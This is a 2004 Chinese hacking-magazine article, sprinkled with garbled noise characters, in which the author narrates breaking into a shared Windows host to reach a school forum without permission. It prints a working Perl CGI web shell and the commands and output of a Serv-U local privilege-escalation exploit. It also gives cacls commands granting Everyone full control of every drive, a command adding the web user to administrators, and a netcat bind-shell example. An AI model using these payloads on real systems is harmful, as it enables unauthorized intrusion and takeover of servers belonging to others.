剑走偏锋——灵巧的旁注攻击
; [3 X3 S* X0 m本文作者:angel* V1 q- j9 ]$ |3 E) I
文章性质:原创
; P* c3 j) L# q( ~发布日期:2004-11-09 4 I1 O l) f2 g/ S- r+ e8 ?4 `: Y
注意:6 ^: I7 ]( c7 M! F- u
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。8 B# D2 u D1 Z) c0 M5 s
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
* L0 a- i) i E) u2 n. l; s) r2 r* M( R' G+ ~6 J& y
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 - Y9 q: M3 g9 U. R! f8 u
9 C* W( I0 ]7 U- A* `* V 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
! [+ E! V; C1 x: k0 p
5 f0 g9 O* N0 H7 m0 \" N 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
: W3 O# q# z9 W$ q* T
n' I. A% ?9 Q7 _ 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
4 z* r U; X, p. e6 [4 K) D: v" F* E$ d- B
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
2 x* x4 a3 a/ e( y
3 [/ p; D" |4 E9 \2 _ u 没有目的的跳转目录着…… 6 }- |4 A$ {' j6 a$ U$ ?# X
8 k- z0 n& [5 v. K 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
, A1 e8 E: M, N. {* h, c- o- {% e5 @4 T9 s; P4 k
结束了吗?不,我试着 FTP 一下: / U* m& \# A4 h, q
8 s6 Q9 }5 P7 r* o+ c/ ?Microsoft Windows 2000 [Version 5.00.2195]
9 x$ O! o* Y2 @( u/ F6 j9 d. [(C) 版权所有 1985-2000 Microsoft Corp.
/ F7 G O6 d5 l4 i6 L/ N
, x$ S/ a! i: T8 _" S0 s/ k" W" IC:\Documents and Settings\Administrator>ftp www.school.com
, R4 W8 n9 n% d2 w7 ~+ BConnected to www. school.com. 3 e9 x7 g0 `+ ?
220 Welcome to FTP Server... & c1 A: F6 S0 r
User (www.bjtrq.com:(none)): / Z7 B$ q. T* h
331 User name okay, need password.
{3 S: {* L: W$ w, [Password: 9 ~2 v$ s* }7 k4 }6 o
530 Not logged in.
; r# l/ R b* t4 _1 x/ U2 iLogin failed. * D4 s k, c$ v0 _4 z
ftp> bye * k; u8 D6 N6 `( t$ b) }
221 Goodbye!
3 o% i6 H8 Y% S; N. E: N8 h
5 C" o" [. t& ]6 r- A' t( [ O' u* T9 @. h. [
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… & F& Z' p. u% i. S: C
& Z9 m! W9 _* Z3 j) k5 \ G, g
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 4 j0 v$ I$ ]! l' y
' q- A, s, z9 K8 H
Application Data5 Y% W# S/ t+ C6 m
Documents
( F8 j) C" c1 v6 _* bDRM
& A* M; u" A- N/ W+ I9 NFavorites% C2 L+ l: l8 E# N
Templates
9 \+ ^: [# x) c; C3 G {「开始」菜单" X4 I Z0 h6 j; g7 S
桌面; v! E2 P& q; W9 b) O) D
& o7 v( G0 ~- L8 g
* {+ A7 I; M* a 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, " y; e. A3 h$ Q/ G! f( `
" m. r2 ~6 X# uActiveState ActivePerl 5.8
) Q+ L3 B& B$ {: u1 f* fAdministrative Tools8 z5 |0 \8 n$ a. G ]
Deerfield.com- U' [* V- A( Q
DTemp
6 ]) \( R( c* y1 p. _: TIPSentry% o( i. x z% w/ d
MBM 5
1 t0 t8 _% D* I' d6 c0 L2 j+ tNetMeter
4 j: {* I E0 w& N0 G9 h6 oNetwork ICE
m2 w* H* F# m9 MPersits Software AspEmail
6 M5 ~0 n! Z4 J D& j* O- KPersits Software AspJpeg
0 V! _9 l: p0 N* A% [Serv-U FTP Server1 B; A2 w$ E; g K) }
Symantec Client Security. I1 C7 y7 g0 z7 s& U
Windows 优化大师
- @2 m; p1 V A+ P# C# GWinRAR
# g$ m, I. t; b" X& H( p启动! S; Q V4 v, H" b9 I7 E* U5 M
管理工具 a9 ~2 U6 ^& Y0 K* A4 u+ n/ D
附件$ |" W$ z0 ~) {
R4 N( D7 ?' Q \
$ g; `5 K8 z/ U( `+ l! ^
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
4 G- ~6 V( o% T5 A
+ l" S/ F0 L8 K: o1 J 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
; w; ^8 {. H) R& X. e. @7 a# o1 [) D2 B! w0 z0 m/ R1 T, T
User281=angel|1|0 " d1 Y6 |' P- t% H% }" G. @
. z& }. Z( Q6 `6 \
3 A1 l0 |% W! @
然后加上
/ g3 K) n: f+ J
. {8 A6 w) R9 ^: m) d9 p* k% R[USER=angel|1]
7 U) a. ~5 g8 \Password=ng98F85379EA68DBF97BAADCA99B69B8051 `+ T; q E) s$ D* m6 I# X
HomeDir=D:\websites
. B0 G2 S# O) D+ RRelPaths=1
8 l! L2 p6 d R! X; x' l0 ]TimeOut=600! r0 I6 A. H! s q3 l! {7 L4 B
Maintenance=System
/ Z( a1 P7 n- K2 Y7 J$ JAccess1=D:\websites|RWAMELCDP" z0 H |5 } B. `0 ~7 T
SKEYValues=
) ~* Z5 G- P& ~! v% m
6 o+ E9 x8 l- M4 B+ O* T! Z( p$ h% y3 y6 F" C% Y* B
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
( p% c. Y' u7 w$ K# f% b* m8 e# M8 k6 j. K- @( q* l
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
. }- X; f) m! z3 V2 F* U/ q; l! T
5 k( O8 B$ w; r0 c1 T/ r) { 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
0 i- P7 c2 k% A, X- N+ t: q5 q- |- L
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 0 I" J1 O! m) o+ V4 c, h7 p; A2 x! ~
5 P# S2 p. V5 f q4 \. {6 V#!/usr/bin/perl
5 p! \4 X! B% Q e5 ibinmode(STDOUT);* Z! K: K" h0 z
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
4 }4 U9 d1 |2 K& y$_ = $ENV{QUERY_STRING};, ~, M- O' u; n3 E
s/%20/ /ig;$ \1 v5 B. j5 }5 X' l0 K* b
s/%2f/\//ig;
7 ~5 V6 l) Z/ O% U$execthis = $_;
6 c& n" M0 T" c* [$ V) Rsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);2 A& S' b% _! ]
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";( B% F- y# u/ e$ J) f
system($execthis);
8 E; h2 g u8 ~" L$ psyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);, K4 D8 X9 N! B2 S/ ?
close(STDERR);
/ f: N( O9 @: I+ |' x4 cclose(STDOUT);
& H2 R5 e" F& {# H' \" h/ Rexit;
( h. e8 y0 v! M0 B+ c! I
7 {* m n- {, o" _! y$ b8 A, |" b1 M/ Z2 n
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 1 G7 h# S: Y4 N) }9 k
- Z7 @: w6 i5 ?* Q 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: / _( i& q* a: b% k+ F: s& l% y
1 ]4 l; }1 Y- H: D+ D% Q$ p
http://anyhost//cmd.pl?d:\user\bin\su.exe
6 G( {; b5 C8 U& |
7 B: j, F# P& C- R9 ?: W4 `
1 x' Y7 X1 k3 o0 V 返回: ) z9 _# w A9 C6 S2 i {9 R g
& r* u) {. o8 e% i1 IServ-u >3.x Local Exploit by xiaolu 9 Q8 z0 X2 @, M# b: Z- u$ U
7 c% @$ S; n& a4 h9 L
USAGE: serv-u.exe "command"
2 N4 t* b) {3 H; ?* G- h( N) k5 k3 q: z4 k1 W
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
& |$ a$ ?( v7 ]( [. ?$ t $ _4 M) b3 A' z& n( S! F
4 x, r; h% ]4 x+ G3 d" T
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: ; K$ Z) h7 A" F5 R( B
9 a7 N1 V) y T9 ?% r' P1 b, |http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 2 q6 M1 }. b: G1 Y
& r; |! X# F# ]+ ihttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 5 A( b; U+ b" q6 a, |! H1 D
1 N7 m; K2 F3 c! t) s% Ihttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" / H) i* U% a( w% J
2 o: ^ H; A! P! K K9 G( f
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" ; L+ G# p* t3 @
- E& n7 I4 b5 T9 i/ Y
" D( W+ u7 h$ M/ @! I1 \: L
返回下面的信息,就表示成功了!!!
% Y' f2 _ _/ b! I2 J$ t
' A) g4 T7 L6 T& Q7 FServ-u >3.x Local Exploit by xiaolu 6 o8 v3 c; e* t4 W [5 f- X
# `4 [, P9 u2 _$ d. F- c
<220 Serv-U FTP Server v5.2 for WinSock ready... 9 r; f( p* t# b. A6 W
; L0 z7 M# n9 o+ u; ^6 p
>USER LocalAdministrator 9 n. h- D- Z3 S$ T/ @0 l/ ]# x& t
/ E b. R& Z' b
<331 User name okay, need password.
: v; K8 n t* d+ ]$ x8 A9 N3 \! V0 @9 o3 U- B
******************************************************
( x) w2 o7 @- N9 `2 T" b
$ ~6 Z ]' H. u" @" o I% T>PASS #l@$ak#.lk;0@P
s: d4 j# {0 l( A# J+ p2 L3 J1 r8 E
<230 User logged in, proceed.
; x3 [/ D$ T: k2 J$ f# B0 a
- H' U! A5 E( ~* D****************************************************** 2 ?6 g& D7 E0 Z' m- S9 G
2 b$ j5 r1 z! E# v/ S; ]; k
>SITE MAINTENANCE : d; J! Z6 ?6 t( [9 z% u% C* q
* h. E3 f1 f. b+ A) Z' t+ M- |
******************************************************
6 G3 T* B, V7 w, ?2 s$ B0 Y8 L* F, J/ q; ?
[+] Creating New Domain... + D. M _! q5 }! y& T
; w3 N9 C% A: [4 p# r, ?' {4 i: A<200-DomainID=2
) F, s5 w- ?$ M, G9 @( V" _" \+ B
u) M' U i# t4 Q3 j, @4 ?<220 Domain settings saved ' Q" q# ?( v# _7 w% h& `
0 Q/ ?3 c/ _. m. m0 ^******************************************************
% ^& o$ x6 [& J" [! {% X4 W1 Y3 m, F% T' h2 G
[+] Domain xl:2 Created ; _" ~2 p/ N" _5 Y y; c
+ B8 W' o6 I1 ]1 `3 j; O
[+] Creating Evil User ' t3 ~& \& @7 V" j1 c. j8 o
9 {/ u# i9 {1 k. s
<200-User=xl
- g3 A( X( C# v3 |
p' v& G, H0 t0 ?& s200 User settings saved
5 e4 W2 v' M$ B
. ^6 \6 f2 r* S: y/ t- _: q& S$ ~( }9 j****************************************************** 4 f6 Z$ `) w6 F9 \" F
: a' H6 ?' V* m; K5 j[+] Now Exploiting... 0 Y1 x2 `. E$ L" w
5 `: y& N+ G, d' ]>USER xl 4 L" J5 o5 T5 }- [; M/ e
) W7 w0 F7 D; [, a; D% B% b
<331 User name okay, need password. + M# {% U+ ]! J
9 X1 q' }' t: X0 e2 U% Z******************************************************
/ e& h; t6 N' V& L" L; g q0 r, B2 f6 l% U2 w
>PASS 111111
0 V: l4 J v3 J) Y- V b! h- n" F* ?0 K# }; S# y
<230 User logged in, proceed.
6 a$ s3 G* [% [
' b0 q( W) Q, m6 q: ^$ Q4 O2 J3 {8 e******************************************************
: l# x3 `, a. P0 F% A
5 g0 q$ Q3 `: O( f m/ u# k' N3 a[+] Now Executing: cacls.exe c: /E /T /G everyone:F 7 c5 p2 Y8 q) \
7 \* [! S1 R t" I: u. D
<220 Domain deleted 2 {: ?3 i' }+ M( j. J# D
( `) |: N8 d6 D$ O
****************************************************** 1 O# ]4 k5 h8 X: U$ D- G, G) y
- v D" G0 ~+ z- x# d
+ T9 }2 U0 ]5 _
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: $ B( c }5 c0 n4 v
. T( F0 A3 n8 L8 Y
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" % L4 v. E$ T( z% ~0 e' [+ n6 T
; |6 L# ^' o% u
. }* E# S8 @7 R$ x8 z7 D# N 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 2 n" r$ |0 n1 b+ n
3 t0 ~# s' Z: \3 l3 M8 ]6 q0 {
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。# r$ { i1 s( a6 A" z. s
- x2 D* A7 [( R5 s
$ U0 s$ O# K. D( y |